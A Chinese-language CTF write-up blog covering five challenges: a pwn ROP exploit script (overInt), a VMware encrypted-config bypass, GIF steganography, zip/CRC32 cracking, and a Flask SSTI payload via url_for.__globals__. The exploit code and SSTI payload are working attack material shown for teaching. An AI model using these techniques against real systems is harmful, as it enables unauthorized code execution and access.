overInt
附带大佬的writeup
先过两关检测,然后有:
1 | *(&v8 + v6) = v5; |
可以一位位
的修改栈上任意地址
大佬说才100,只能写这么多了。完整exp如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80from pwn import *
from struct import pack
context(os='linux',arch='amd64',aslr = 'False')
local = 1
log_level='debug'
if local:
p = process("./overInt")#,env={'LD_PRELOAD':'./libc_x64.so.6'})
elf = ELF("./overInt")
#libc = ELF('./libc_x64.so.6')
else:
p = remote('58.20.46.148',35272)
elf = ELF("./overInt")
#libc = ELF('./libc_x64.so.6')
def change_addr(num,string):
j = 0
for i in range(8):
p.recvuntil("Which position you want to modify?\n")
payload = p32(num)
p.send(payload)
p.recvuntil("What content you want to write in?\n")
payload = string[j]
p.send(payload)
num += 1
j += 1
pop_rdi = 0x0000000000400b13
read_got = elf.got["read"] # 0x602038
alarm_got = elf.got["alarm"] # 0x602030
start = 0x4005D0
puts_plt = elf.plt["puts"] # 0x40054c
p.recvuntil("Please set arrary number:")
p.send("over")
p.recvuntil("How many numbers do you have?\n")
p.send(p32(10))
for i in range(9):
data = p.recv()
p.send(p32(0))
p.recv()
p.send(p32(0x20633372))
p.recvuntil("How many positions you want to modify?\n")
p.send(p32(32))
string = "\x13\x0b\x40\x00\x00\x00\x00\x00" #pop_rdi
change_addr(0x38,string)
string = "\x38\x20\x60\x00\x00\x00\x00\x00" #read_got
change_addr(0x40,string)
string = "\x4c\x05\x40\x00\x00\x00\x00\x00" #puts_plt
change_addr(0x48,string)
string = "\xd0\x05\x40\x00\x00\x00\x00\x00" #start
change_addr(0x50,string)
p.recvuntil("!")
data = p.recvuntil("\n",drop=True).ljust(8,"\x00")
data = u64(data)
libc_base = data - 0x0f7250
binsh_addr = libc_base + 0x18cd57
system_addr = libc_base + 0x045390
p.recvuntil("Please set arrary number:")
p.send("over")
p.recvuntil("How many numbers do you have?\n")
p.send(p32(10))
for i in range(9):
data = p.recv()
p.send(p32(0))
p.recv()
p.send(p32(0x20633372))
p.recvuntil("How many positions you want to modify?\n")
p.send(p32(24))
string = "\x13\x0b\x40\x00\x00\x00\x00\x00" #pop_rdi
change_addr(0x38,string)
string = pack('L',binsh_addr)
change_addr(0x40,string)
string = pack('L',system_addr)
change_addr(0x48,string)
p.interactive()
hack1t
打开虚拟机发现需要密码,把题目描述中的bibinb
输入进行就行。
打开虚拟机后发现需要用户账号密码才进得去,随便试了一下都以失败告终,所以考点就是绕过用户验证,按常规套路来说在系统启动是强行进入GRUB
,然后改密码,但发现进GRUB
也需要密码:
所以这条路也行不通,那么另一个思路就是在加载系统时加载一个ISO
,然后进入系统,再ISO镜像中对原来的硬盘进行操作。但发现修改虚拟机配置需要密码,而这个密码跟上面的不一样。
所以这条路暂时也没辙了。回过头查看下虚拟机的配置文件如vmx、nvram
等,发现都已经被加密,正常的配置文件是键值对存储,而加密后的则如下:
1 | .encoding = "UTF-8" |
因为虚拟机的配置是通过文件来实现的,所以如果我们能直接修改配置文件也能达到我们想要的结果,经过一番搜索后找到了一些有用的资料,在VMware的社区上发现了一个issue,有个大神实现了对vmx加密算法的破解和运用,并且发布到了GitHub中。
当然使用这个工具解密是会Will ask for the password
,但我们还是可以再碰一下bibinb这个密码。
其实这个工具很早就下下来了,但当时不会用,其实是它的脚本写的有瑕疵,坑爹了,给我报了个error:
1 | Error: Cannot read from file Ubuntu 64-bit.vmx.bak |
但拿去操作正常的vmx文件又是可以的,当时也没怎么多想,就把工具放在了一边,继续找资料,但后来就觉得这个错误或许可以跟一下,而正是这个决定让我拿下这题。打开main.py
,很容易就发现了问题所在,程序进来后会判断:
1 | for line in lines: |
而在观察中发现它给的displayname
是小写,而判断是大写,直接改一下试试:
改好后直接跑,发现成功解密出配置:
那么接下来就好办了,先在其他虚拟机上配置一个CDROM
,看一下它的vmx配置文件怎么写,然后我们照抄过来,然后在加密回去就行,下面是配置cdrom:
1 | sata0:1.deviceType = "cdrom-image" |
然后在把解密出来的文件中的中文随便改成什么英文,防止python的编码错误。
1 | python3 main.py -e -D "Ubuntu 64-bit" -p bibinb reconver.vmx myencry.vmx |
改好后替换掉原来的文件,然后在虚拟机配置中就能看到cdrom和USB已被开启。
紧接着在虚拟机启动时按ESC
选择从CD-ROM
中启动,这样就能进去系统,从而操作文件系统。
将四个部分的rar压缩包放在同一个文件夹,然后解压:
拿到flag。
Traffic_Light
这是一个交通灯的gif
,用file
、binwalk
检查后都很正常,猜测可能是灯的闪烁代表0,1。网上找了个分离每帧git的python脚本:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19# -*- coding:utf-8 -*-
from PIL import Image
import os
gifFileName = 'Traffic_Light.gif'
#使用Image模块的open()方法打开gif动态图像时,默认是第一帧
im = Image.open(gifFileName)
pngDir = gifFileName[:-4]
#创建存放每帧图片的文件夹
os.mkdir(pngDir)
try:
while True:
#保存当前帧图片
current = im.tell()
im.save(pngDir+'/'+str(current)+'.png')
#获取下一帧图片
im.seek(current+1)
except EOFError:
pass
结果得到1168个项目。。。
没想到快捷方法,,只能手动过了一遍得到,先把绿灯当做1,红灯为0,黄灯为空格:
1 | 10011001 10010011 10011110 10011000 10000100 |
结果也发现每8个红绿灯就有一个黄灯,刚好分隔开,写个脚本跑一下:
1 | f= open('./temp', 'r') |
上面之所以做了替换时因为绿灯跟红灯代表的0/1给弄反了。。
What’s_this
Binwalk后发现有很多东西:
Foremost后可以得到:
其中zip2.zip是加密的,而且里面有一个2-stage的文件,再看上面得到了,容易联想到明文攻击。
我们把上面的2-stage.what的what去掉,然后用Ubuntu自带的zip
去压缩,7z和WinRAR压缩出来的都不行
,ARCHPR识别不了。最后密码是Hello_Hi。
但flowerdance的内容令人失望,并没有有价值的东西。
File一下2-stage可以发现是jpg,直接改成jpg。
再根据提示用cloacked-pixel对这个图片进行处理,使用:
可以得到一个zip文件,内容如下:
但zip3、zip4都需要密码。前面得到的密码都对不上,而且发现这里zip3.zip中的guess文件只有4字节,可以考虑CRC32碰撞攻击。
这里使用hashcat
神器,-D 2
表示GPU
破解。1
.\hashcat64.exe -a 3 -m 11500 -D 2 --force --increment --increment-min 4 --increment-max 6 --force 99bed60e:00000000 ?a ?a?a?a?a?a
结果只需2s
,神器不亏是神器。。。
但密码不是zip3的,是zip4的。。然而还是没惊喜
回头再看那个docx文件,突然发现还有隐藏的东西:
直接将docx改成zip提取嵌入对象,在media里有新的东西:
其中image1.emf能打开,而i_love_you.emf却不行,但观察它的文件结尾,可以看到是zip的格式,binwalk也得出zip end。
在观察发现i_love_you.emf跟zip4.zip的文件大小相同,考虑异或一下两个文件,这里直接Google代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48# -*- coding: utf-8 -*-
import binascii
import struct
# 每个字节转成hex,0x顺便去掉,对于不足两位的补0
def str2hex(str):
hexs = []
for s in str:
tmp = (hex(ord(s)).replace('0x', ''))
if len(tmp) == 2:
hexs.append(tmp)
else:
hexs.append('0' + tmp)
return hexs
arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']
arr2 = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]
def tran(r):
for i in range(len(arr)):
if r == arr[i]:
return arr2[i]
f = open('D:\\CTF\\pcb\\whatis\\output\\zip\\docx\\word\\media\\I_Love_You.emf', 'rb')
f2 = open('D:\\CTF\\pcb\\whatis\\output\\zip\\zip4.zip', 'rb')
hexs = []
hexs2 = []
while True:
t = f.readline()
t2 = f2.readline()
if not t or not t2:
break
hexs.extend(str2hex(t))
hexs2.extend(str2hex(t2))
f.close()
f2.close()
ff = open('out.txt', 'wb')
for i in range(min(len(hexs), len(hexs2))):
a = tran(hexs[i][0]) * 16 + tran(hexs[i][1])
b = tran(hexs2[i][0]) * 16 + tran(hexs2[i][1])
B = struct.pack('B', a ^ b)
ff.write(B)
ff.close()
最终可以发现出来的是一个zip,相信这个才是完整的zip,用密码打开后:
shadow
这道题没解出来,但是也学到了很多flask安全性的东西,特别是SSTI
的技巧以及对flask session解密和签名的方法,因为没法复现,只能贴一下当时找的有价值的资料:
在flask中url_for.__globals__
可以拿到危险函数,如file、system、os等,但在这道题中并不能执行,先Mark一下。1
2
3
4
5
6{{url_for.__globals__}} # 全局类包括了 file、eval等等
"""
{'find_package': <function find_package at 0x7f0b34ca79b0>, '_PackageBoundObject': <class 'flask.helpers._PackageBoundObject'>, 'get_load_dotenv': <function get_load_dotenv at 0x7f0b34ca7398>, 'is_ip': <function is_ip at 0x7f0b34cab0c8>, 'current_app': <Flask 'app'>, 'PY2': True, 'send_from_directory': <function send_from_directory at 0x7f0b34ca7848>, 'session': <SecureCookieSession {u'csrf_token': '004932e5d4ffd2ed1d2c31180fe1f6dadc1591ff', u'_id': '22858459d2136b66a0e4cacf8a4ccac773bce0fe3c3d97f7f1929597cb90413eb288850dbc6daad7be96721767586024f036099a752ec33688113c7e2157a09e', u'user_id': u'77', u'name': u"0' (select hex(hex(database()))) '0", u'is_admin': False, u'_fresh': True}>, 'get_flashed_messages': <function get_flashed_messages at 0x7f0b34ca76e0>, 'BadRequest': <class 'werkzeug.exceptions.BadRequest'>, 'posixpath': <module 'posixpath' from '/usr/lib/python2.7/posixpath.pyc'>, 'BuildError': <class 'werkzeug.routing.BuildError'>, 'url_quote': <function url_quote at 0x7f0b359a3668>, 'FileSystemLoader': <class 'jinja2.loaders.FileSystemLoader'>, 'get_root_path': <function get_root_path at 0x7f0b34ca78c0>, '__package__': 'flask', 'locked_cached_property': <class 'flask.helpers.locked_cached_property'>, '_app_ctx_stack': <werkzeug.local.LocalStack object at 0x7f0b34c97690>, '_endpoint_from_view_func': <function _endpoint_from_view_func at 0x7f0b34ca7410>, 'total_seconds': <function total_seconds at 0x7f0b34ca7a28>, 'get_env': <function get_env at 0x7f0b34ca70c8>, '__doc__': '\n flask.helpers\n ~~~~~~~~~~~~~\n\n Implements various helpers.\n\n :copyright: \xc2\xa9 2010 by the Pallets team.\n :license: BSD, see LICENSE for more details.\n', 'flash': <function flash at 0x7f0b34ca7668>, 'mimetypes': <module 'mimetypes' from '/usr/lib/python2.7/mimetypes.pyc'>, 'adler32': <built-in function adler32>, 'get_template_attribute': <function get_template_attribute at 0x7f0b34ca75f0>, '_request_ctx_stack': <werkzeug.local.LocalStack object at 0x7f0b34c901d0>, '__builtins__': {'bytearray': <type 'bytearray'>, 'IndexError': <type 'exceptions.IndexError'>, 'all': <built-in function all>, 'help': Type help() for interactive help, or help(object) for help about object., 'vars': <built-in function vars>, 'SyntaxError': <type 'exceptions.SyntaxError'>, 'unicode': <type 'unicode'>, 'UnicodeDecodeError': <type 'exceptions.UnicodeDecodeError'>, 'memoryview': <type 'memoryview'>, 'isinstance': <built-in function isinstance>, 'copyright': Copyright (c) 2001-2016 Python Software Foundation. All Rights Reserved. Copyright (c) 2000 BeOpen.com. All Rights Reserved. Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved. Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam. All Rights Reserved., 'NameError': <type 'exceptions.NameError'>, 'BytesWarning': <type 'exceptions.BytesWarning'>, 'dict': <type 'dict'>, 'input': <built-in function input>, 'oct': <built-in function oct>, 'bin': <built-in function bin>, 'SystemExit': <type 'exceptions.SystemExit'>, 'StandardError': <type 'exceptions.StandardError'>, 'format': <built-in function format>, 'repr': <built-in function repr>, 'sorted': <built-in function sorted>, 'False': False, 'RuntimeWarning': <type 'exceptions.RuntimeWarning'>, 'list': <type 'list'>, 'iter': <built-in function iter>, 'reload': <built-in function reload>, 'Warning': <type 'exceptions.Warning'>, '__package__': None, 'round': <built-in function round>, 'dir': <built-in function dir>, 'cmp': <built-in function cmp>, 'set': <type 'set'>, 'bytes': <type 'str'>, 'reduce': <built-in function reduce>, 'intern': <built-in function intern>, 'issubclass': <built-in function issubclass>, 'Ellipsis': Ellipsis, 'EOFError': <type 'exceptions.EOFError'>, 'locals': <built-in function locals>, 'BufferError': <type 'exceptions.BufferError'>, 'slice': <type 'slice'>, 'FloatingPointError': <type 'exceptions.FloatingPointError'>, 'sum': <built-in function sum>, 'getattr': <built-in function getattr>, 'abs': <built-in function abs>, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'print': <built-in function print>, 'True': True, 'FutureWarning': <type 'exceptions.FutureWarning'>, 'ImportWarning': <type 'exceptions.ImportWarning'>, 'None': None, 'hash': <built-in function hash>, 'ReferenceError': <type 'exceptions.ReferenceError'>, 'len': <built-in function len>, 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands for supporting Python development. See www.python.org for more information., 'frozenset': <type 'frozenset'>, '__name__': '__builtin__', 'ord': <built-in function ord>, 'super': <type 'super'>, 'TypeError': <type 'exceptions.TypeError'>, 'license': Type license() to see the full license text, 'KeyboardInterrupt': <type 'exceptions.KeyboardInterrupt'>, 'UserWarning': <type 'exceptions.UserWarning'>, 'filter': <built-in function filter>, 'range': <built-in function range>, 'staticmethod': <type 'staticmethod'>, 'SystemError': <type 'exceptions.SystemError'>, 'BaseException': <type 'exceptions.BaseException'>, 'pow': <built-in function pow>, 'RuntimeError': <type 'exceptions.RuntimeError'>, 'float': <type 'float'>, 'MemoryError': <type 'exceptions.MemoryError'>, 'StopIteration': <type 'exceptions.StopIteration'>, 'globals': <built-in function globals>, 'divmod': <built-in function divmod>, 'enumerate': <type 'enumerate'>, 'apply': <built-in function apply>, 'LookupError': <type 'exceptions.LookupError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'basestring': <type 'basestring'>, 'UnicodeError': <type 'exceptions.UnicodeError'>, 'zip': <built-in function zip>, 'hex': <built-in function hex>, 'long': <type 'long'>, 'next': <built-in function next>, 'ImportError': <type 'exceptions.ImportError'>, 'chr': <built-in function chr>, 'xrange': <type 'xrange'>, 'type': <type 'type'>, '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", 'Exception': <type 'exceptions.Exception'>, 'tuple': <type 'tuple'>, 'UnicodeTranslateError': <type 'exceptions.UnicodeTranslateError'>, 'reversed': <type 'reversed'>, 'UnicodeEncodeError': <type 'exceptions.UnicodeEncodeError'>, 'IOError': <type 'exceptions.IOError'>, 'hasattr': <built-in function hasattr>, 'delattr': <built-in function delattr>, 'setattr': <built-in function setattr>, 'raw_input': <built-in function raw_input>, 'SyntaxWarning': <type 'exceptions.SyntaxWarning'>, 'compile': <built-in function compile>, 'ArithmeticError': <type 'exceptions.ArithmeticError'>, 'str': <type 'str'>, 'property': <type 'property'>, 'GeneratorExit': <type 'exceptions.GeneratorExit'>, 'int': <type 'int'>, '__import__': <built-in function __import__>, 'KeyError': <type 'exceptions.KeyError'>, 'coerce': <built-in function coerce>, 'PendingDeprecationWarning': <type 'exceptions.PendingDeprecationWarning'>, 'file': <type 'file'>, 'EnvironmentError': <type 'exceptions.EnvironmentError'>, 'unichr': <built-in function unichr>, 'id': <built-in function id>, 'OSError': <type 'exceptions.OSError'>, 'DeprecationWarning': <type 'exceptions.DeprecationWarning'>, 'min': <built-in function min>, 'UnicodeWarning': <type 'exceptions.UnicodeWarning'>, 'execfile': <built-in function execfile>, 'any': <built-in function any>, 'complex': <type 'complex'>, 'bool': <type 'bool'>, 'ValueError': <type 'exceptions.ValueError'>, 'NotImplemented': NotImplemented, 'map': <built-in function map>, 'buffer': <type 'buffer'>, 'max': <built-in function max>, 'object': <type 'object'>, 'TabError': <type 'exceptions.TabError'>, 'callable': <built-in function callable>, 'ZeroDivisionError': <type 'exceptions.ZeroDivisionError'>, 'eval': <built-in function eval>, '__debug__': True, 'IndentationError': <type 'exceptions.IndentationError'>, 'AssertionError': <type 'exceptions.AssertionError'>, 'classmethod': <type 'classmethod'>, 'UnboundLocalError': <type 'exceptions.UnboundLocalError'>, 'NotImplementedError': <type 'exceptions.NotImplementedError'>, 'AttributeError': <type 'exceptions.AttributeError'>, 'OverflowError': <type 'exceptions.OverflowError'>}, 'text_type': <type 'unicode'>, '__file__': '/usr/local/lib/python2.7/dist-packages/flask/helpers.pyc', 'get_debug_flag': <function get_debug_flag at 0x7f0b34ca7320>, 'RLock': <function RLock at 0x7f0b35923938>, 'safe_join': <function safe_join at 0x7f0b34ca77d0>, 'sys': <module 'sys' (built-in)>, 'Headers': <class 'werkzeug.datastructures.Headers'>, 'Range': <class 'werkzeug.datastructures.Range'>, 'stream_with_context': <function stream_with_context at 0x7f0b34ca7488>, '_os_alt_seps': [], '__name__': 'flask.helpers', '_missing': <object object at 0x7f0b379f71a0>, 'pkgutil': <module 'pkgutil' from '/usr/lib/python2.7/pkgutil.pyc'>, 'NotFound': <class 'werkzeug.exceptions.NotFound'>, 'unicodedata': <module 'unicodedata' (built-in)>, 'wrap_file': <function wrap_file at 0x7f0b359ba2a8>, 'socket': <module 'socket' from '/usr/lib/python2.7/socket.pyc'>, 'update_wrapper': <function update_wrapper at 0x7f0b379d2758>, 'make_response': <function make_response at 0x7f0b34ca7500>, 'request': <Request 'http://58.20.46.149:25412/{{url_for.__globals__}}' [GET]>, 'string_types': (<type 'str'>, <type 'unicode'>), 'message_flashed': <flask.signals._FakeSignal object at 0x7f0b34ca2a90>, 'RequestedRangeNotSatisfiable': <class 'werkzeug.exceptions.RequestedRangeNotSatisfiable'>, 'send_file': <function send_file at 0x7f0b34ca7758>, 'time': <built-in function time>, 'url_for': <function url_for at 0x7f0b34ca7578>, '_matching_loader_thinks_module_is_package': <function _matching_loader_thinks_module_is_package at 0x7f0b34ca7938>, 'os': <module 'os' from '/usr/lib/python2.7/os.pyc'>}
"""
而当config
为None
时,还可以使用url_for.__globals__.current_app.config
得到config、SECRET_KEY等信息。